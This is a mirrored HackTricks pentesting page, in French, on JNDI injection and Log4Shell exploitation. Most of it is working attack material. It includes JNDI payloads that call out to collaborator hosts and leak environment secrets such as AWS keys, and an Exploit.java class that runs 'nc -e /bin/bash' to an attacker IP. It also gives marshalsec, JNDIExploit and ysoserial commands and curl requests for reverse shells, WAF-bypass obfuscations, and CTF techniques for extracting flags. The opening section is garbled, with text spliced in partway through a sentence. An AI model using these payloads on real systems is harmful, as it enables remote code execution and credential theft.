Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-18 17:16:10 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

25 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
  • Découvrez The PEASS Family, notre collection d'NFTs exclusifs.
  • Obtenez le swag officiel PEASS & HackTricks
  • Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter [🐦](https://github.com/carlospolop/hacktricks Cette hypothèse a rapidement été dissipée lorsque CVE-2021-4104 a été découvert pour impacter également Log4j 1.x, et la possibilité d'un impact potentiel sur Logback a été évaluée. Les versions plus récentes de Logback, 1.3.0-alpha11 et 1.2.9, qui traitent cette vulnérabilité moins grave, ont maintenant été publiées.\
  • CVE-2021-45105 [Élevé]: Log4j 2.16.0 a été découvert comme étant vulnérable à une faille de DoS notée 'Élevée' en gravité. Apache a depuis publié une version log4j 2.17.0 corrigeant la CVE. Plus de détails sur ce développement sont fournis dans le dernier rapport de BleepingComputer.
  • CVE-2021-44832: Cette nouvelle CVE affecte la version 2.17 de log4j. Cette vulnérabilité nécessite que l'attaquant contrôle le fichier de configuration de log4j car il est possible d'indiquer une URL JDNI dans un JDBCAppender configuré. Pour des informations sur la vulnérabilité et l'exploitation, lisez ces informations.

Exploitation de Log4Shell

Découverte

Cette vulnérabilité est très facile à découvrir car elle enverra au moins une requête DNS à l'adresse que vous indiquez dans votre payload. Par conséquent, des payloads tels que :

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (en utilisant canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (en utilisant interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (en utilisant Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (en utilisant dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} en utilisant (en utilisant huntress)

Notez que même si une requête DNS est reçue, cela ne signifie pas que l'application est exploitable (ou même vulnérable), vous devrez essayer de l'exploiter.

{% hint style="info" %} Rappelez-vous que pour exploiter la version 2.15, vous devez ajouter la bypass de vérification de localhost : ${jndi:ldap://127.0.0.1#...} {% endhint %}

Découverte locale

Recherchez les versions vulnérables locales de la bibliothèque avec :

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Vérification

Certaines des plateformes mentionnées précédemment vous permettront d'insérer des données variables qui seront enregistrées lorsqu'elles sont demandées.
Cela peut être très utile pour 2 choses:

  • Pour vérifier la vulnérabilité
  • Pour exfiltrer des informations en exploitant la vulnérabilité

Par exemple, vous pourriez demander quelque chose comme:
ou comme ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} et si une requête DNS est reçue avec la valeur de la variable d'environnement, vous savez que l'application est vulnérable.

D'autres informations que vous pourriez essayer de fuir:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Information

{% hint style="info" %} Les hôtes fonctionnant sur des versions de JDK supérieures à 6u141, 7u131, 8u121 seront protégés contre le vecteur de chargement de classe LDAP MAIS PAS contre le vecteur de désérialisation. Cela est dû au fait que com.sun.jndi.ldap.object.trustURLCodebase est désactivé par défaut, donc JNDI ne peut pas charger de codebase à distance en utilisant LDAP. Mais nous devons souligner que la désérialisation et les fuites de variables sont toujours possibles.
Cela signifie que pour exploiter les versions mentionnées, vous devrez abuser d'un gadget de confiance qui existe sur l'application Java (en utilisant ysoserial ou JNDIExploit, par exemple). Mais pour exploiter les versions inférieures, vous pouvez les faire charger et exécuter des classes arbitraires (ce qui rend l'attaque plus facile).

Pour plus d'informations (comme les limitations sur les vecteurs RMI et CORBA), consultez la section précédente de référence de nommage JNDI ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec avec charge utile personnalisée

Cette astuce est entièrement tirée de la boîte THM: https://tryhackme.com/room/solar__

Pour cette exploitation, l'outil marshalsec (téléchargez une version jar à partir d'ici) sera utilisé pour créer un serveur de référence LDAP pour diriger les connexions vers notre serveur HTTP secondaire où l'exploit sera servi:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Nous voulons que la victime charge le code qui nous enverra un shell inversé, donc vous pouvez créer un fichier java appelé Exploit.java avec le contenu suivant:

{% code title="" %}

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

{% endcode %}

Créez le fichier de classe en exécutant : javac Exploit.java -source 8 -target 8, puis exécutez un serveur HTTP dans le même répertoire où le fichier de classe a été créé : python3 -m http.server.
Le serveur LDAP de marshalsec doit pointer vers ce serveur HTTP.
Ensuite, vous pouvez faire exécuter la classe d'exploitation par le serveur web vulnérable en envoyant une charge utile comme suit :

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Veuillez noter que si Java n'est pas configuré pour charger une base de code à distance en utilisant LDAP, cette exploitation personnalisée ne fonctionnera pas. Dans ce cas, vous devez abuser d'une classe de confiance pour exécuter du code arbitraire.

RCE - JNDIExploit

{% hint style="info" %} Notez que pour une raison quelconque, l'auteur a supprimé ce projet de Github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, mais si vous voulez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.

De plus, vous ne pouvez pas trouver le code source dans la machine wayback, donc soit vous analysez le code source, soit vous exécutez le jar en sachant que vous ne savez pas ce que vous exécutez. {% endhint %}

Pour cet exemple, vous pouvez simplement exécuter ce serveur web vulnérable à log4shell sur le port 8080: https://github.com/christophetd/log4shell-vulnerable-app (dans le README, vous trouverez comment l'exécuter). Cette application vulnérable enregistre avec une version vulnérable de log4shell le contenu de l'en-tête de requête HTTP X-Api-Version.

Ensuite, vous pouvez télécharger le fichier jar JNDIExploit et l'exécuter avec:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Après avoir lu le code pendant quelques minutes, dans com.feihong.ldap.LdapServer et com.feihong.ldap.HTTPServer, vous pouvez voir comment les serveurs LDAP et HTTP sont créés. Le serveur LDAP comprendra quelle charge utile doit être servie et redirigera la victime vers le serveur HTTP, qui servira l'exploit.
Dans com.feihong.ldap.gadgets, vous pouvez trouver quelques gadgets spécifiques qui peuvent être utilisés pour exécuter l'action souhaitée (potentiellement exécuter du code arbitraire). Et dans com.feihong.ldap.template, vous pouvez voir les différentes classes de modèles qui généreront les exploits.

Vous pouvez voir tous les exploits disponibles avec java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Certains utiles sont:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Donc, dans notre exemple, nous avons déjà cette application docker vulnérable en cours d'exécution. Pour l'attaquer:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Lorsque vous envoyez les attaques, vous verrez une sortie dans le terminal où vous avez exécuté JNDIExploit-1.2-SNAPSHOT.jar.

N'oubliez pas de vérifier java -jar JNDIExploit-1.2-SNAPSHOT.jar -u pour d'autres options d'exploitation. De plus, au cas où vous en auriez besoin, vous pouvez changer le port des serveurs LDAP et HTTP.

RCE - JNDI-Exploit-Kit

De manière similaire à l'exploit précédent, vous pouvez essayer d'utiliser JNDI-Exploit-Kit pour exploiter cette vulnérabilité.
Vous pouvez générer les URL à envoyer à la victime en exécutant :

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Cette attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires tels que la salle solaire THM. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger un code distant en utilisant LDAP) je pense que c'est parce qu'il n'exploite pas une classe de confiance pour exécuter un code arbitraire.

RCE - ysoserial & JNDI-Exploit-Kit

Cette option est vraiment utile pour attaquer les versions Java configurées pour ne faire confiance qu'à certaines classes et pas à tout le monde. Par conséquent, ysoserial sera utilisé pour générer des sérialisations de classes de confiance qui peuvent être utilisées comme gadgets pour exécuter un code arbitraire (la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne).

En utilisant ysoserial ou ysoserial-modified, vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Utilisez JNDI-Exploit-Kit pour générer des liens JNDI où l'exploit attendra des connexions des machines vulnérables. Vous pouvez servir différentes exploitations qui peuvent être générées automatiquement par JNDI-Exploit-Kit ou même vos propres charges utiles de désérialisation (générées par vous ou ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un shell inversé en envoyant simplement à une version vulnérable de log4j: ${ldap://10.10.14.10:1389/generated}

Contournements

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Scanners Automatiques

Laboratoires pour tester

Exploitation Post-Log4Shell

Dans cette writeup CTF, il est bien expliqué comment il est potentiellement possible d'abuser certaines fonctionnalités de Log4J.

La page de sécurité de Log4j contient des phrases intéressantes :

À partir de la version 2.16.0 (pour Java 8), la fonctionnalité de recherche de messages a été complètement supprimée. Les recherches dans la configuration fonctionnent toujours. De plus, Log4j désactive désormais l'accès à JNDI par défaut. Les recherches JNDI dans la configuration doivent désormais être activées explicitement.

À partir de la version 2.17.0 (et 2.12.3 et 2.3.1 pour Java 7 et Java 6), seules les chaînes de recherche dans la configuration sont étendues de manière récursive ; dans toute autre utilisation, seule la recherche de niveau supérieur est résolue, et toutes les recherches imbriquées ne sont pas résolues.

Cela signifie que par défaut, vous pouvez oublier d'utiliser toute exploitation jndi. De plus, pour effectuer des recherches récursives, vous devez les configurer.

Par exemple, dans ce CTF, cela était configuré dans le fichier log4j2.xml :

<Console name="Console" target="SYSTEM_ERR">
    <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
    </PatternLayout>
</Console>

Recherches d'environnement

Dans ce CTF, l'attaquant contrôlait la valeur de ${sys:cmd} et devait exfiltrer le flag à partir d'une variable d'environnement.
Comme on peut le voir sur cette page dans les charges utiles précédentes, il existe différentes façons d'accéder aux variables d'environnement, telles que: ${env:FLAG}. Dans ce CTF, cela était inutile, mais cela pourrait ne pas l'être dans d'autres scénarios réels.

Exfiltration dans les exceptions

Dans le CTF, vous ne pouviez pas accéder à stderr de l'application Java en utilisant log4J, mais les exceptions Log4J sont envoyées à stdout, qui était imprimé dans l'application Python. Cela signifiait qu'en déclenchant une exception, nous pouvions accéder au contenu. Une exception pour exfiltrer le flag était: ${java:${env:FLAG}}. Cela fonctionne parce que ${java:CTF{blahblah}} n'existe pas et qu'une exception avec la valeur du flag sera affichée:

Exceptions de modèles de conversion

Juste pour le mentionner, vous pouvez également injecter de nouveaux modèles de conversion et déclencher des exceptions qui seront enregistrées dans stdout. Par exemple:

Cela n'a pas été utile pour exfiltrer la date à l'intérieur du message d'erreur, car la recherche n'a pas été résolue avant le modèle de conversion, mais cela pourrait être utile pour d'autres choses telles que la détection.

Modèles de conversion Regexes

Cependant, il est possible d'utiliser certains modèles de conversion qui prennent en charge les regexes pour exfiltrer des informations à partir d'une recherche en utilisant des regexes et en abusant des comportements de recherche binaire ou de temps.

  • Recherche binaire via les messages d'exception

Le modèle de conversion %replace peut être utilisé pour remplacer le contenu d'une chaîne même en utilisant des regexes. Cela fonctionne comme ceci: replace{pattern}{regex}{substitution}
En abusant de ce comportement, vous pourriez faire en sorte que replace déclenche une exception si le regex correspondait à quelque chose à l'intérieur de la chaîne (et aucune exception si ce n'était pas trouvé) comme ceci:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Basé sur le temps

Comme mentionné dans la section précédente, %replace prend en charge les regexes. Il est donc possible d'utiliser une charge utile de la page ReDoS pour provoquer un timeout en cas de découverte du flag.
Par exemple, une charge utile comme %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} déclencherait un timeout dans ce CTF.

Dans ce writeup, au lieu d'utiliser une attaque ReDoS, il a utilisé une attaque d'amplification pour provoquer une différence de temps dans la réponse :

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Si le flag commence par flagGuess, le flag entier est remplacé par 29 # (j'ai utilisé ce caractère car il ne ferait probablement pas partie du flag). Chacun des 29 # résultants est ensuite remplacé par 54 #. Ce processus est répété 6 fois, ce qui donne un total de 29*54*54^6* =`` ``96816014208 #!

Le remplacement de tant de # déclenchera le timeout de 10 secondes de l'application Flask, ce qui entraînera l'envoi du code d'état HTTP 500 à l'utilisateur. (Si le flag ne commence pas par flagGuess, nous recevrons un code d'état non-500)

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥